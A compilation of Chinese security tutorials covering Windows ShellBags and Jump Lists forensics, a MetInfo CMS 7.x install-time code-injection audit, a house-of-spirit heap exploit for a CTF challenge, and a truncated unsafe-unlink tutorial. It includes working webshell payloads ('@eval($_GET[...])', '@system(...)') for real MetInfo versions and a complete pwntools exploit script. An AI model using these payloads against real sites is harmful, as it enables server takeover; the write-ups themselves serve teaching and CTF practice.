USRCLASS.DAT:HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU USRCLASS.DAT:HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags 记录从桌面访问的文件夹信息: NTUSER.DAT:HKCU\Software\Microsoft\Windows\Shell\BagMRU NTUSER.DAT:HKCU\Software\Microsoft\Windows\Shell\Bags 还有其他一些注册表位置:(因为系统版本不同,可能有一些附加的注册表项目) NTUSER.DAT:HKCU\Software\Microsoft\Windows\ShellNoRoam\BagMRU NTUSER.DAT:HKCU\Software\Microsoft\Windows\ShellNoRoam\Bags USRCLASS.DAT:HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\ShellNoRoam\BagMRU USRCLASS.DAT:HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\ShellNoRoam\Bags USRCLASS.DAT:HKCU\Software\Classes\Wow6432Node\Local Settings\Software\Microsoft\Windows\Shell\BagMRU USRCLASS.DAT:HKCU\Software\Classes\Wow6432Node\Local Settings\Software\Microsoft\Windows\Shell\Bags 可以发现ShellBags的数据主要存在两个注册表键值中,分别是BagMRU和Bags中。 BagMRU:用于记录文件夹名称和文件夹路径 Bags:记录文件夹的视图配置,比如窗口的大小,位置,排序方式等视图模式信息。 0x3、ShellBags的结构分析 当用户通过Windows资源管理器浏览文件系统的时,首次打开个文件夹时,系统会创建ShellBags条目。每个文件夹都有一个编号,编号从0开始记录。当打开子路径,会在相应的ShellBags条目右侧添加一个条目,并分配一个编号,编号每次递增1。 当用户对文件夹进行操作,ShellBag条目会立即更新。这意味着相应的注册表项最后修改时间可能也是最后操作文件夹的时间。 BagMRU键值: ShellBags的根目录,它的子键包含了ShellBags子条目和子目录。由数字编号0,1,2...组成。 而他们的二进制类型的值项(value name)记录着文件夹的路径和文件夹的长短名称。因此,我们可以根据这个结构还原文件系统的目录结构。 我们可以通过Nirsoft的注册表修改监视工具和Shell bags view工具结合注册表查看其创建和变化过程。 首先在C盘下创建一个shellbagstest的文件夹 查看注册表修改: 在注册表中查看: 可以看到HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0键的值项"11"的内容记录了文件夹的名称,并与其子键"11"对应。 HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\11键的NodeSlot项值即为HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags键中的ID(Bags键的子健名称)。 还有一个MRUListEx,这个记录了上次访问了哪个文件夹。根据这个可以解析出文件夹的访问次序。当对应文件夹下没有子文件夹或者子文件夹未被访问过,其值为ff ff ff ff。 当我们进入这个文件夹并添加一个子文件夹后,再次查看注册表修改: 可以看到新增了多个键值项,MRUListEx也发生了变化。其中"1"为子文件夹"subdir"。而"0"是新建文件夹时候的"新建文件夹"。 关于MRUListEx值项 它是记录文件夹访问次序的,每4个字节记录一个文件夹的数字编号,新增访问记录,原记录往右边移。拿刚刚这个举例: 最左侧0x00000001表示最近访问过的是shellbagstest文件夹下数字序号为"1"的文件夹,也就是subdir这个文件夹。如果再增加一个文件夹subdir2: MRUListEX的值则变成如下数值: 其父键的MRUListEX也会更新: Bags键值: Bags键值由数字命名的子健组成,每个子健的数字编号对应特定的文件夹。其下包含有一个Shell 的键用于存储与文件夹相关的视图配置信息,比如位置、大小、排序方式等。所以我们可以根据BagMRU键值获得特定文件夹在Bags键下对应的数字序号后, 即可Bags键中定位相应子键, 进而查看文件夹的视图配置信息。 比如刚刚我们创建的文件夹: 0x4、取证实战 案情:在之前的调查(Windows 取证之注册表)中,我们证明了Theon趁Podrick不在的时候把U盘(2020年2月3日下午12点15分-12点45分之间)插进了他的电脑。Podrick称他电脑的一些文件/文件夹发生的更改。他认为是Theon干的。Podrick希望我们帮忙找出是哪些文件发生了更改。主要关注桌面上被清空的Projects文件夹。 提交Projects文件夹被Theon重新创建的时间。 提供给我们的文件包括NTUSER.DAT 和 UsrClass.dat。 我们可以借助ShellBags解析工具,如Shell Bag Explorer:https://f001.backblazeb2.com/file/EricZimmermanTools/ShellBagsExplorer.zip 使用工具加载USRCLASS.DAT文件 找到Projects文件夹,可以看到文件夹的创建时间是12:41:26 ,这个时间点正好是Podrick不在电脑旁边的时间。结合之前的调查,即可确定这个时间就是文件夹重新创建的时间。 参考资料: 基于注册表中的ShellNo-Roam表键解析文件夹操作行为:http://www.xsjs-cifs.com/article/2014/1008-3650-39-3-42.html Computer Forensic Artifacts: Windows 7 Shellbags : https://www.sans.org/blog/computer-forensic-artifacts-windows-7-shellbags/ Explaining the Bags/BagMRU registry tree (trying) - Tielen Consultancy :https://www.jeroentielen.nl/explaining-the-bagsbagmru-registry-tree-trying/
Windows 取证之Jump Lists
一、概述 Jump Lists是Windows 7开始引入的新功能,该功能允许用户查看固定在任务栏中程序最近打开的文件,如图所示: Jump Lists由应用软件或者系统创建,作用是方便用户可以直接跳转到最近打开的文件或文件夹。Jump List显示的列表数量是有限的,在Windows 7/8操作系统中,用户可以通过更改注册表来修改Jump List的条数,但在Windows 10中,这个数量被固定了,用户无法自行修改。 二、Jump List 文件存储和格式 Jump List文件是一种OLE文件,存储在C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations和C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination路径下。 Jump List有两种类型,一种是存放在AutomaticDestinations路径中的automaticDestinations-ms (autoDest)文件,另一个是CustomDestination中的customdestination-ms(custDest)文件。 autoDest(*.automaticDestinations-ms)文件是由系统shell在用户与操作系统交互时(如启动应用程序、访问文件等)自动创建的,这些文件遵循Microsoft Compound File Binary(CFB)复合文件格式结构,并且文件中的每个编号流都遵循 MS-SHLLINK(即LNK)二进制文件格式。 custDest(*.customDestinations-ms)文件是在用户操作固定项目时创建的,比如拖到某个文件或应用程序固定到任务栏中,或在列表中固定某个项目。custDest文件只是一系列相互附加的lnk格式流组成。比autoDest文件更为简单。 每个列表文件名都是以一串长度为16位的字符串命令,后面跟上.automaticDestinations-ms或者.customDestinations-m为后缀。 这16位长度的十六进制字符串是APPID(应用程序标识符),用于标识特定的程序或文件。根据微软官方说明,APPID可以分为应用程序自定义(Application-Defined)和操作系统定义(System-Defined)两种。应用程序可自定义一个固定的APPID。如果没有,操作系统根据应用程序的路径使用CRC-64算法计算出APPID。 关于APPID的计算可以参考:https://www.hexacorn.com/blog/2013/04/30/jumplists-file-names-and-appid-calculator/ 一些常见应用程序的Jump List ID可以在互联网上找到: https://gist.github.com/atilaromero/2146441https://community.malforensics.com/t/list-of-jump-list-ids/158/1在autoDest文件中,除了Destlist流之外,其他流都是由LNK流组成。Destlist流遵循特定的结构,分别记录了作为MRU和MFUlist的文件访问顺序及文件访问次数,并且包含时间戳。在Windows 7和Windows 8中,Destlist流结构是一致的,但Windows 10中有所不同。 这里我们以Windows 7系统举例,通过16进制编辑器查看其结构组成,打开一个autoDest文件,其结构如下: D0 CF 11 E0 A1 B1 1A E1:OLECF文件标识符 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00:类标识符 (GUID) 3E 00:文件版本(次版本) 03 00:文件版本(主版本) FF FF:字节顺序标识符(FF FF为小端模式,FF FE为大端模式) 更多关于OLECF格式详情可以参考:https://github.com/libyal/libolecf/blob/main/documentation/OLE%20Compound%20File%20format.asciidoc#2-the-file-header Destlist头结构: 01 00 00 00:版本号(在windows 7/8中是版本1,windows 10 1511中是版本3) 11 00 00 00:当前条目数 00 00 00 00:"固定"的条目数量 33 33 E3 41:计数器 11 00 00 00 00 00 00 00:上一次的条目数 11 00 00 00 00 00 00 00:添加/删除操作的数量-随着条目的添加和删除而增加。 custDest(*.customDestinations-ms)文件的结构就简单很多: 前面36 Bytes是文件头,然后是lnk文件部分,然后是下一条lnk文件部分,然后是文件结尾0xbabffbab: 三、Jump Lists 取证实战 来源:Cynet应急响应挑战赛 题目描述:GOT-Research Ltd的 财务部总监 Lord Varys 发现,有关高级员工工资的某些信息被泄露,并传到了该组织的其他员工手中。此财务信息保存在网络共享文件夹中。此网络文件夹的权限已授予给 Lord Petyr Baelish和其他 2 名前雇员:John Snow 和 Daenerys Targaryen。 John 和 Daenerys 现在都是 GOT 的外部顾问,不再是财务部门的一员。但他们对财务共享文件夹的权限尚未撤销,Petyr Baelish, John和 Daenerys这三个人平时关系并不好,Varys怀疑这是泄密的原因,他认为有人想要陷害Petyr B 现在GOT委托你作为调查人员查清John或Daenerys是否访问了财务数据,其中包括已泄露的 Management-Salaries.xlsx 文件。 最终需要提交嫌疑人的名字和在嫌疑人主机上找到的可疑财务文件文件名、以及时间戳。 我们拿到的调查文件是John和Daenerys电脑上的Jump Lists文件: 我们使用JumpListExplorer工具(下载地址:https://ericzimmerman.github.io/#!index.md)对文件进行解析和分析: 经过检查和分析,最终在John的电脑上发现了可疑痕迹,在2020-02-07 00:03:54用WinRAR打开了一个Finance-Summary.rar的文件。 分析Jump Lists类似的工具还有JLECmd.exe、Nirsoft JumpListsView等。 参考资料: https://hal.inria.fr/hal-01988839/documenthttps://github.com/libyal/dtformats/blob/main/documentation/Jump%20lists%20format.asciidochttps://github.com/EricZimmerman/JumpList/blob/master/JumpList/Resources/AppIDs.txt https://cyberforensicator.com/wp-content/uploads/2017/01/1-s2.0-S1742287616300202-ma 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID9a4a-6bc7-4926-8ff5-6fa9c74fe756  (Autopsy Forensic Browser 是数字取证工具-The Sleuth Kit(TSK)的图形界面,用于对文件系统和卷进行取证。通过本实验学习文件系统取证的思想与方法,掌握Autopsy的使用。)
米拓建站系统1day审计与利用
Metinfocms命令执行 前话: 米拓企业建站系统是一款由长沙信息科技有限公司自主研发的免费开源企业级CMS,该系统拥有大量的用户使用,及对该款cms进行审计,如果利用CNVD-2021-01930进行进一步深入,其危害的严重性可想而知。 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID269f-6dc2-4412-bbad-a27109b207cf    (通过该实验掌握MetInfo SQL注入漏洞的原因和利用方法,以及如何修复该漏洞。) 审计过程: 1. Index:拿到源码先看根目录的index.php看看都包含(加载)了什么文件。  2. 关键词:在/app/system/entrance.php看到了配置文件的定义,全局搜索这个 ’PATH_CONFIG‘参数。  全局搜索并找到install/index.php文件下有这个参数,点击跟进查看。  在这个文件的219行有个是接收db数据库参数的方法。 官方说明“$_M”数组:https://doc.metinfo.cn/dev/basics/basics75.html 这里是接收from数据的db_prefix参数。也就是“数据表前缀”内容的值。  往下发现是直接写入tableper然后赋值给config变量。  并在264行fopen打开/config/config_db.php进行没有安全过滤的字节流(fputs)方式的写入。  影响版本:7.3.0 - 7.0.0 一、进行7.3.0安装步骤,访问http://127.0.0.1/install/index.php  二、选中传统安装继续下一步   三、数据库信息进行写shell 代码执行Payload:"*/@eval($_GET['1']);/* 命令执行Payload:"*/@system($_GET['1']);/* 代码执行:   点击保存进行下一步验证,出现这报错信息,可以查看config\config_db.php文件。   成功写入  命令执行:    7.0.0版本:     7.1.0版本: Payload:"*/@eval($_GET['1']);@system($_GET['2']);/*     7.2.0版本: Payload:"*/@eval($_GET['1']);@system($_GET['2']);/*
GDB调试堆漏洞之house of spirit
何为house of spirit? 该技术出自于2005年的The Malloc Maleficarum这篇文章,是一种用于获得某块内存区域控制权的技术 例如一个位于fastbin的区块是不可控的,但是我们希望对其进行读写操作只需他刚好满足以下两个条件即可。 第一,改区域的前后内存可控(通俗来讲就是堆溢出) 第二,存在一个可控指针作为free()函数的参数(此处通俗讲就是控制chunk 的fd或者bk指针),通过堆排布, 伪造fake chunk让他进入到fastbins,下次我们用同样大小的内存申请一个chunk就可以把这个chunk取出 ,从而得到控制权。 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECIDf4f4-3f86-44b4-bd4c-e1c88520adde (在堆的情况下,当用户能够写入比预期更多的数据时,会发生内存损坏。通过本实验了解堆溢出,包括intra-chunk和inter-chunk两种类型,分别掌握其特点。) 今天我用一道例题来讲解如何从一个新手掌握GDB调试house of spirit的利用思想 题目:[ZJCTF 2019]EasyHeap 题目可在BUU上搜索得到 checksec如下 q@ubuntu:~/Desktop$ checksec easyheap [*] '/home/q/Desktop/easyheap'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000) 先看main函数里面一个点 v3==4869 然后magic>=0x1305就可以进入到后门 不过这个是假的后门远程没有这个路径 接着就是没用输出功能,可能会选择劫持stdout或者使用house of spirit 我们先继续分析 int __cdecl __noreturn main(int argc, const char **argv, const char **envp) {  int v3; // eax  char buf[8]; // [rsp+0h] [rbp-10h] BYREF  unsigned __int64 v5; // [rsp+8h] [rbp-8h]  v5 = __readfsqword(0x28u);  setvbuf(stdout, 0LL, 2, 0LL);  setvbuf(stdin, 0LL, 2, 0LL);  while ( 1 ) {    while ( 1 )   {      menu();      read(0, buf, 8uLL);      v3 = atoi(buf);      if ( v3 != 3 )        break;      delete_heap();   }    if ( v3 > 3 )   {      if ( v3 == 4 )        exit(0);      if ( v3 == 4869 )     {        if ( (unsigned __int64)magic <= 0x1305 )       {          puts("So sad !");       }        else       {          puts("Congrt !");          l33t();       }     }      else     { LABEL_17:        puts("Invalid Choice");     }   }    else if ( v3 == 1 )   {      create_heap();   }    else   {      if ( v3 != 2 )        goto LABEL_17;        edit_heap();   } } } 一个个函数看下去,发现漏洞点在edit那里 (create那的话 chunk大小没限制,可惜这里没有输出功能不然利用mmap的特性直接泄露libc也是可以的,如果还是想的话配合劫持stdout也可以,只不过过于麻烦) 漏洞如下这小部分代码,堆的大小创建后不可更改,但是他可以更改输入内容的大小,意味着这里存在堆溢出 if ( *(&heaparray + v1) ) {    printf("Size of Heap : ");    read(0, buf, 8uLL);    v2 = atoi(buf);    printf("Content of heap : ");    read_input(*(&heaparray + v1), v2);    puts("Done !"); } edit() unsigned __int64 edit_heap() {  int v1; // [rsp+4h] [rbp-1Ch]  __int64 v2; // [rsp+8h] [rbp-18h]  char buf[8]; // [rsp+10h] [rbp-10h] BYREF  unsigned __int64 v4; // [rsp+18h] [rbp-8h]  v4 = __readfsqword(0x28u);  printf("Index :");  read(0, buf, 4uLL);  v1 = atoi(buf);  if ( v1 < 0 || v1 > 9 ) {    puts("Out of bound!");    _exit(0); }  if ( *(&heaparray + v1) ) {    printf("Size of Heap : ");    read(0, buf, 8uLL);    v2 = atoi(buf);    printf("Content of heap : ");    read_input(*(&heaparray + v1), v2);    puts("Done !"); }  else {    puts("No such heap !"); }  return __readfsqword(0x28u) ^ v4; } 整合信息(前置知识fastbin attack+unsortedbin) (简单的说就是如下这样) 其中①②③⑧⑨是fastbin attack需要做的,④⑤⑥⑦是unsortedbin attack需要做的: ①malloc fastchunk 0x70。 ②free掉fastchunk。 ③将fastchunk的fd变为target。 ④malloc 0x100。 ⑤free 0x100。 ⑥change 0x100+0x8的位置改为target(就是bk的位置)。 ⑦malloc 0x100,此时arena的地址被写入target中去了。 ⑧malloc 0x70,将第一次malloc的堆块取出来,使fastbin中只有target。 ⑨再次malloc 0x70 ==>就是取出target。 结论: 上面简单分析了下,我们有了堆溢出,有了system函数和free()函数,对于house of spirit 来说是完美条件 可以利用堆溢出进行构造fake chunk进而修改该chunk的fd或者bk指针,顺带写入/bin/sh 接下来利用house of spirit去更改free的got表指向system的plt,最后执行free就可以getshell 下面进行详细的分析 详细解答 那么我们可以从构造fake chunk控制堆的任意内容 (prev_size,fd,bk,堆的输入内容) 我们先来看下正常的chunk长什么样子 (部分脚本,脚本后面就是chunk) from pwn import * context.log_level = 'debug' def pause_debug():    log.info(proc.pidof(p))    pause() def create(size, content):    p.sendlineafter('choice :', str(1))    p.sendlineafter('Heap :', str(size))    p.sendafter('heap:', content) def edit(idx, size, content):    p.sendlineafter('choice :', str(2))    p.sendlineafter('Index :', str(idx))    p.sendlineafter('Heap :', str(size))    p.sendafter('heap :', content)     def delete(idx):    p.sendlineafter('choice :', str(3))    p.sendlineafter('Index :', str(idx)) proc_name = './easyheap' p = process(proc_name) #p = remote('node3.buuoj.cn', 27185) elf = ELF(proc_name) create(0x68, b'woaini') # 0 create(0x68, b'a') # 1 create(0x68, b'a') # 2 gdb.attach(p) chunk 我们先找到我们存放输入内容的地方,我们刚才创建的堆的大小都是0x70的 但是实际上我们没有那么多空间可以利用的,在0x2545070此处存放的是chunk的大小 下面的地方0x2545070 前面8个字节存放fd(前驱)指针,后面八个字节存放bk(后继)指针 (这里先说个思维,逆向思维!非常重要是做pwn题目的基础。 这里的堆的结构体是最基础的只有一项内容,要是多来几项呢? 比如 一本书的ID 名字 内容等等,他在gdb调试后所呈现的具体存放位置关系是怎么样的呢,我们要如何才能修改都是需要从ida里面逆向分析得到在利用gdb调试获取信息 这里推荐一道buu的题目关于 off by null的知识点的但是如果你成功的攻破后,逆向能力会有不小的提升 题目: asis2016_b00ks pwndbg> search woaini [heap]          0x2545010 0x696e69616f77 /* 'woaini' */ warning: Unable to access 16000 bytes of target memory at 0x7f810c08ed05, halting search. pwndbg> x/32gx 0x2545010 0x2545010: 0x0000696e69616f77 0x0000000000000000 0x2545020: 0x0000000000000000 0x0000000000000000 0x2545030: 0x0000000000000000 0x0000000000000000 0x2545040: 0x0000000000000000 0x0000000000000000 0x2545050: 0x0000000000000000 0x0000000000000000 0x2545060: 0x0000000000000000 0x0000000000000000 0x2545070: 0x0000000000000000 0x0000000000000071 0x2545080: 0x0000000000000061 0x0000000000000000 上面我们讲了正常的堆块的模样,下面我们来对他进行修整,做成我们的fake chunk 为了让这个fake chunk被检测机制所认可,这里我们需要修改prev_size令他等于1 也就是找到存放0x7f的地址我们可以从IDA里面先看看然后配合GDB去寻找 IDA的chunk开始的地方在该程序里面叫heaparray 我们向上寻找,从尾地址为A0的地方开始到B0夹杂着libc 我们都明白libc的开头就是0X7f 那么我们可以不限麻烦的在gdb从0x6020A0开始往下面开 最后发现在本程序中0x6020AD的内容就是0x7f (输入命令x/32gx 0x6020AD) .bss:00000000006020A0 ; =========================================================================== .bss:00000000006020A0 .bss:00000000006020A0 ; Segment type: Uninitialized .bss:00000000006020A0 ; Segment permissions: Read/Write .bss:00000000006020A0 _bss            segment align_32 public 'BSS' use64 .bss:00000000006020A0                 assume cs:_bss .bss:00000000006020A0                 ;org 6020A0h .bss:00000000006020A0                 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing .bss:00000000006020A0                 public stdout@@GLIBC_2_2_5 .bss:00000000006020A0 ; FILE *stdout .bss:00000000006020A0 stdout@@GLIBC_2_2_5 dq ?               ; DATA XREF: LOAD:0000000000400410↑o .bss:00000000006020A0                                         ; main+17↑r .bss:00000000006020A0                                         ; Alternative name is 'stdout' .bss:00000000006020A0                                         ; Copy of shared data .bss:00000000006020A8                 align 10h .bss:00000000006020B0                 public stdin@@GLIBC_2_2_5 .bss:00000000006020B0 ; FILE *stdin .bss:00000000006020B0 stdin@@GLIBC_2_2_5 dq ?                 ; DATA XREF: LOAD:0000000000400428↑o .bss:00000000006020B0                                         ; main+35↑r .bss:00000000006020B0                                         ; Alternative name is 'stdin' .bss:00000000006020B0                                         ; Copy of shared data .bss:00000000006020B8 completed_7594  db ?                   ; DATA XREF: __do_global_dtors_aux↑r .bss:00000000006020B8                                         ; __do_global_dtors_aux+13↑w .bss:00000000006020B9                 align 20h .bss:00000000006020C0                 public magic .bss:00000000006020C0 magic           dq ?                   ; DATA XREF: main:loc_400D05↑r .bss:00000000006020C8                 align 20h .bss:00000000006020E0                 public heaparray .bss:00000000006020E0 ; void *heaparray .bss:00000000006020E0 heaparray       dq ?                   ; DATA XREF: create_heap+30↑r .bss:00000000006020E0                                         ; create_heap+8C↑w ... (包含0x7f结尾的) pwndbg> x/32gx 0x6020AD 0x6020ad: 0x07fea398e0000000 0x000000000000007f 0x6020bd: 0x0000000000000000 0x0000000000000000 下面上构造fake chunk 的脚本 delete(2) edit(1, 0x78, b'/bin/sh'.ljust(0x68, b'\x00') + p64(0x71) + p64(0x6020ad)) gdb.attach(p) create(0x68, b'b') # 2 create(0x68, b'b') # 3 fake_chunk edit(3, 0x2b, b'c' * 0x23 + p64(elf.got['free'])) edit(0, 0x8, p64(elf.plt['system'])) delete(1) p.interactive() 我们这里的fake chunk选的是chunk 1 释放chunk2是为了让他的fd指针指向chunk1 接着利用如下语句,写入内容的大小改为0x78(实际上大小为0x70),然后传入/bin/sh后填充\x00到达我们的chunk size保持大小不变依然是0x71,接着传入0x6020ad也就是上面提到的0x7f的地址为了让这个chunk1 fake chunk被程序检测所认可 edit(1, 0x78, b'/bin/sh'.ljust(0x68, b'\x00') + p64(0x71) + p64(0x6020ad)) 下面我们来看看修改好的QWQ 为什么是0x68,gdb已经给我们很好的结果了。/bin/sh占位就是8个字节(0x0068732f6e69622f),我们从0x80到0xe0共计0x60加上0x80后面的0x88那部分空白合并起来就是0x68了 然后传入0x71和0x6020ad 我们的fake chunk就好了 pwndbg> search /bin/sh [heap]          0x1be8080 0x68732f6e69622f /* '/bin/sh' */ libc-2.23.so    0x7f355118be57 0x68732f6e69622f /* '/bin/sh' */ warning: Unable to access 16000 bytes of target memory at 0x7f35511c6d06, halting search. pwndbg> x/32gx 0x1be8080 0x1be8080: 0x0068732f6e69622f 0x0000000000000000 0x1be8090: 0x0000000000000000 0x0000000000000000 0x1be80a0: 0x0000000000000000 0x0000000000000000 0x1be80b0: 0x0000000000000000 0x0000000000000000 0x1be80c0: 0x0000000000000000 0x0000000000000000 0x1be80d0: 0x0000000000000000 0x0000000000000000 0x1be80e0: 0x0000000000000000 0x0000000000000071 0x1be80f0: 0x00000000006020ad 0x0000000000000000 fake chunk一号准备完成 下面我们改free的got表为system的plt表,(不理解什么是got和plt的可以去康康知乎上的文章,简单说就是plt寻址got,然后got寻址真正地址去执行函数,我们在这把free的got改成system的plt)之后咋们执行free操作就是相当于执行system操作了 为什么是0x23大小的junk数据传入? create(0x68, b'b') # 2 create(0x68, b'b') # 3 fake_chunk edit(3, 0x2b, b'c' * 0x23 + p64(elf.got['free'])) edit(0, 0x8, p64(elf.plt['system'])) delete(1) p.interactive() 这里可以用GDB调试来看下(做pwn题离不开GDB的调试必须要有耐心) pwndbg> search ccccccccc easyheap       0x6020bd 0x6363636363636363 ('cccccccc') easyheap       0x6020c6 0x6363636363636363 ('cccccccc') easyheap       0x6020cf 0x6363636363636363 ('cccccccc') warning: Unable to access 16000 bytes of target memory at 0x7f50d863ed08, halting search. pwndbg> x/32gx 0x6020bd 0x6020bd: 0x6363636363636363 0x6363636363636363 0x6020cd: 0x6363636363636363 0x6363636363636363 0x6020dd: 0x0000602018636363 0x0001dd8080000000 0x6020ed <heaparray+13>: 0x0001dd80f0000000 0x00006020bd000000 0x6020fd <heaparray+29>: 0x0000000000000000 0x0000000000000000 0x60210d <heaparray+45>: 0x0000000000000000 0x0000000000000000 0x60211d <heaparray+61>: 0x0000000000000000 0x0000000000000000 0x60212d <heaparray+77>: 0x0000000000000000 0x0000000000000000 可以看见在0x6020dd上有我们传入的got表0x0000602018 我们再看看heaparray上的数据内容 pwndbg> x/32gx 0x6020ed-13 0x6020e0 <heaparray>: 0x0000000000602018 0x0000000001dd8080 0x6020f0 <heaparray+16>: 0x0000000001dd80f0 0x00000000006020bd 0x602100 <heaparray+32>: 0x0000000000000000 0x0000000000000000 0x602110 <heaparray+48>: 0x0000000000000000 0x0000000000000000 0x602120 <heaparray+64>: 0x0000000000000000 0x0000000000000000 0x00000000006020bd该地址指向我们的chunk3存放的内容 0x0000000001dd80f0该地址为指向我们的chunk3存放的内容的地址 其真实起始点地址是0x1dd80e0 如下 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x1dd8000 Size: 0x71 Allocated chunk | PREV_INUSE Addr: 0x1dd8070 Size: 0x71 Allocated chunk | PREV_INUSE #chunk3 Addr: 0x1dd80e0 Size: 0x71 Top chunk | PREV_INUSE Addr: 0x1dd8150 Size: 0x20eb1 而heaparray 0x6020e0 <heaparray>: 0x0000000000602018 0x0000000001dd8080 指向我们的free()的got表 关于为什么选择edit(0, 0x8, p64(elf.plt['system']))这样传入并没有太多用意,p64(elf.plt['system'])刚好八个字节 这里篇幅有限,若有兴趣可以寻找资料学习 EXP: from pwn import * context.log_level = 'debug' def pause_debug():    log.info(proc.pidof(p))    pause() def create(size, content):    p.sendlineafter('choice :', str(1))    p.sendlineafter('Heap :', str(size))    p.sendafter('heap:', content) def edit(idx, size, content):    p.sendlineafter('choice :', str(2))    p.sendlineafter('Index :', str(idx))    p.sendlineafter('Heap :', str(size))    p.sendafter('heap :', content)     def delete(idx):    p.sendlineafter('choice :', str(3))    p.sendlineafter('Index :', str(idx)) proc_name = './easyheap' p = process(proc_name) #p = remote('node3.buuoj.cn', 27185) elf = ELF(proc_name) create(0x68, b'woaini') # 0 create(0x68, b'a') # 1 create(0x68, b'a') # 2 #gdb.attach(p) delete(2) edit(1, 0x78, b'/bin/sh'.ljust(0x68, b'\x00') + p64(0x71) + p64(0x6020ad)) #gdb.attach(p) create(0x68, b'b') # 2 create(0x68, b'b') # 3 fake_chunk edit(3, 0x2b, b'c' * 0x23 + p64(elf.got['free'])) edit(0, 0x8, p64(elf.plt['system'])) delete(1) p.interactive() 心得简述: 做PWN题非常考验耐心与基础,IDA的逆向分析是最为主要的一步,一定要静下来看伪代码和汇编 有了多种思路不要嫌麻烦一定要上机去用GDB一步步调试。会了各种套路技巧固然厉害,但是没有牢固 的逆向基础和调试能力是走不远的。
堆利用之unsafe unlink
漏洞简介 glibc库中存在着unsafe unlink漏洞。主要原理是利用释放块时存在的安全检查缺陷,通过修改堆块的元数据信息,从而在free时修改堆指针。利用这一漏洞可以完成一次任意写操作。 本文以libc-2.27.so为例,结合一道pwn题目来介绍利用过程。 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECIDc271-da53-4bd3-9b61-d59c3b9d3407  (本节课主要讲解objdump命令的使用和c语言函数调用约定,学会利用栈溢出漏洞改写函数指针变量和覆盖返回地址。)  程序checksec检查     Arch:     amd64-64-little     RELRO:    Partial RELRO     Stack:    Canary found     NX:       NX enabled     PIE:      No PIE (0x400000)  题目源码分析 int main(){     int choice = 0;    prepare();      while(1) {         choose_action(&choice);         switch (choice) {             case 1:                 squeeze();                 break;             case 2:                 wash();                 break;             case 3:                 display();                 break;             case 4:                 mix();                 break;             case 5:                 insepct();                 break;             default:                 puts("Nah... You just cannot do this :( ");                 exit(0);        }    }    return 0;} 主函数是菜单,choose_action只是简单读入整数以进行选择,此处不再赘述。 void squeeze(){    int i;    struct palette* tmp;    for(i = 0; i < COLOR_NUM; i++) {        if (!your_palette[i]) {            puts("Found some free space for you!");            break;        }    }    if (i == COLOR_NUM) {        puts("Your palette is full :(");        exit(0);    }    tmp = mallo squeeze函数用于申请新的块,并调用自定义make_component函数读入用户输入。其中your_palette及相关变量定义如下: #define COLOR_NUM (4)#define COLOR_NAME (0x20)#define COLOR_COMPONENT (0x4d8) struct palette {    char color[COLOR_NAME];    char ingredient[COLOR_COMPONENT];}*your_palette[COLOR_NUM]; long secret_button = 0; make_component函数定义如下。该函数根据传入的长度,逐字节读入用户输入,检测到换行符或是达到最大长度后即把最后一个字符改为’\0’。 void make_component(char* ptr, int len){    if (0 == len) {        return;    }    char c;    int i = 0;    while ( i < len ) {        read(0, &c, 1);        if ( c == '\n' ) {            ptr[i] = 0;            return;        }        ptr[i++] = c;    }    ptr[i] = 0;} 乍看之下没有什么问题,但是当读入的数据达到最大长度后会将ptr[len]处的数据修改为0,而这一地址属于理想的修改范围之外,因此产生off-by-null的漏洞。 void mix(){    int index;    puts("Now input the color index:");    scanf("%d", &index);    index--;     if (0 <= index && index < COLOR_NUM) {        if (your_palette[index]) {            struct palette* ddl_ptr = your_palette[index];            puts("Please name youe color:");            make_comp mix函数用于修改已经申请好的chunk,可以重新设置某一个palette的color段以及ingredient段。 void wash(){    int index;    puts("Now input the color index:");    scanf("%d", &index);    index--;     if (0 <= index && index < COLOR_NUM) {        if (your_palette[index]) {            free(your_palette[index]);            your_palette[index] = NULL;            puts("Finish!");            retur wash函数free掉了一个已经申请过的chunk,这也是unsafe unlink漏洞利用之处。这里需要注意的一点是标红处对数组进行赋NULL,因此排除了uaf的情况。 void insepct(){    if (secret_button) {        puts("You've successfully broken the palette >_< ");        system("/bin/sh");    }    else {        puts("You can explore your palette futher more :) ");    }    exit(0);} inspect函数用于shell获取。当检查到全局变量secret_button不为0后,将调用/bin/sh。那么本题的目标至此已经显而易见了:通过wash函数的free触发漏洞,并通过mix函数修改全局变量secret_button为非零值,然后执行inspect函数来getshell。  相关知识补充 unsafe unlink漏洞是指由于程序设计不当、用户恶意输入,堆管理器在释放块的时候将前一个正在使用的块也视为已经被释放的块,从而也将它纳入空闲块管理中。以64位系统中glibc-2.27为例,一个chunk块的结构如下: A区域(8字节):mchunk_prev_sizeB区域(8字节):mchunk_sizeC区域(8字节):fdD区域(8字节):bkE区域(8字节):fd_nextsizeF区域(8字节):bk_nextsizel 其中B区域比较特殊。B区域用于表示该chunk的大小(单位为字节)。由于chunk必须16字节对齐,因此B区域的低3bits被设置为flag位,不影响chunk的大小。其中最低1bit为PREV_INUSE位,当设置为0时表示前一个chunk处于空闲状态。 l A区域用于表示前一个相邻的空闲chunk的大小。当PREV_INUSE置1时,这一区域被前一个chunk使用(称之为空间复用);当PREV_INUSE置0时,该区域才被这一个chunk使用,用于在free时获取前一个chunk的地址。 l B区域也是该chunk的元数据区域,从C区域开始为用户实际使用的数据区。当malloc获得块的时候,返回的指针就是指向C区域的。 l 